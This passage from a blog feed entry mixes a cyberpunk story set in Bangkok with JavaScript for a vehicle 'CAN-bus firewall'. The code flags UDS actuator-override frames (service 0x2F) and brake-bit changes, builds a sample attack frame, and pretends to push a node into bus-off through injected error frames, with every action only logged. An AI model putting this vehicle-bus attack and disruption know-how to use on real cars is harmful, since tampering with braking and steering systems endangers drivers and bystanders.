    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Check 1: Unauthorized UDS Service 0x2F (Actuator Override)&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isDiagnostic&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pciType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;serviceId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pciType&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;serviceId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;CAN_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UDS_SERVICE_IO_CONTROL&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;serviceId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;CAN_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UDS_SERVICE_ROUTINE_CTRL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Hostile diagnostic override detected!&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Check 2: Forced Emergency Brake Bit Manipulation on Safety ID&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;CAN_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CRITICAL_BRAKE_CAN_ID&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Trigger Hardware Dominant Error Frame Injection
 * Forces the attacking TCU's Transmit Error Counter (TEC) past 255 -&amp;gt; Bus-Off state
 * @param {number} targetId 
 */&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;injectBusOffError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;targetId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`[DEFENSE ACTIVE] Injecting Dominant Error Pulse against Target CAN ID: 0x&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;targetId&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toUpperCase&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[ACTION] Pulled differential CAN_H/CAN_L lines into 6-bit dominant collision state.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Hardware simulation: TEC threshold exceeded&lt;/span&gt;
    &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`[SUCCESS] Rogue Node (ID: 0x&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;targetId&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toUpperCase&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt;) TEC exceeded 255! Node forced into BUS-OFF.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[STATUS] Bus Sovereignty Restored. Actuators released back to physical Driver.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Active Monitoring Loop&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;runCanFirewall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[*] [CAN-Firewall] Initializing CAN-Bus Gateway on 'can0' (500 kbps)...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[*] Defending Steering, Throttle, and Braking ECUs against Remote UDS Exploitation...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Simulated rogue UDS payload over CAN (Service 0x2F Brake Latch)&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;simulatedAttackBuffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;simulatedAttackBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeUInt32LE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x7DF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Can ID&lt;/span&gt;
    &lt;span class="nx"&gt;simulatedAttackBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeUInt8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;        &lt;span class="c1"&gt;// DLC = 4&lt;/span&gt;
    &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0x03&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x03&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;simulatedAttackBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;frame&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseCanFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;simulatedAttackBuffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;evaluateCanThreat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`[CRITICAL INTRUSION] Hostile Remote Actuator Override detected on CAN ID 0x&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toUpperCase&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt;!`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;injectBusOffError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;runCanFirewall&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  ⚡ Epilogue: Under the Thong Lo Overpass with Hot Canned Coffee
&lt;/h3&gt;

&lt;p&gt;The second &lt;code&gt;node CanBusSecurityGateway.js&lt;/code&gt; executed, a tiny electrostatic pop came from the OBD-II port. Through the cyber-arm I felt the dominant pulse slam the attacker’s TCU.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;――Click.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The blood-red HUD warnings vanished. The wheel went light and obedient in my bare hands again. Twin-motor torque bit into the wet pavement; we sliced past the tanker and accelerated cleanly toward the Thong Lo exit.&lt;/p&gt;

&lt;p&gt;“Intrusion node isolated—Bus-Off confirmed!”&lt;/p&gt;

&lt;p&gt;Darling’s voice was half relief, half adrenaline.&lt;/p&gt;

&lt;p&gt;“Nice timing, darling. You’re the best.”&lt;/p&gt;

&lt;p&gt;I eased off the throttle, took the ramp, and slid into a quiet spot under the expressway. Rain drummed on the roof. I leaned back, exhaled, and felt the leftover adrenaline tremor in my fingertips.&lt;/p&gt;

&lt;p&gt;“Whew… terrifying. But damn, that was exhilarating.”&lt;/p&gt;

&lt;p&gt;Darling handed me a warm canned coffee from the dash holder. The aluminum heat spread through my fingers.&lt;/p&gt;

&lt;p&gt;“Thanks, darling. If you hadn’t been calmly watching packets with me, we’d probably be wrapped around a guardrail right now.”&lt;/p&gt;

&lt;p&gt;“I trusted your hands and your judgment.”&lt;/p&gt;

&lt;p&gt;Our cans clinked softly.&lt;/p&gt;

&lt;p&gt;“Darling,” I said, watching the rain-blurred Bangkok skyline, “no matter how fancy the tech gets, the steering wheel of your own life—body, code, everything—never hand it over to some cloud or black-box corporation. That last sovereignty stays in your own grip.”&lt;/p&gt;

&lt;p&gt;Rain kept falling on Bangkok, still teaching us the price of freedom.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read Next (Previous Sofi_Log):&lt;/strong&gt;&lt;br&gt;
『Midnight When a Fake 5G Tower Was Snitching My Real-Time Location to the Authorities: 5G NAS Protocol Vulnerability &amp;amp; DIY “RNTI Identifier Scrambler” Spec Sheet』｜Sofi_Log #068&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/n7d89cce8ee9e" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/n7d89cce8ee9e&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;【Disclaimer】&lt;/strong&gt;&lt;br&gt;
All code, protocol analysis, and technical configurations in this article are provided strictly for security research, proof-of-concept, and educational purposes. Do not use for unauthorized access. Any real-world application is at your own risk.&lt;/p&gt;

&lt;p&gt;🎁 &lt;strong&gt;【Fully Open-Source】Live Code &amp;amp; Architecture&lt;/strong&gt;&lt;br&gt;
The CAN-bus self-defense script and UDS definitions shown here are released in full for your own research and learning.&lt;/p&gt;




&lt;p&gt;📬 &lt;strong&gt;Sofi’s Mailbox #069 (Questions &amp;amp; Feedback)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;How was tonight’s vehicle hack, my fellow darlings?&lt;br&gt;&lt;br&gt;
Ever wondered about your own car’s CAN-bus IDs or OBD-II security? Drop your questions or thoughts in the comments—next Sofi_Log will tackle the best ones directly.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
  </channel>
</rss>
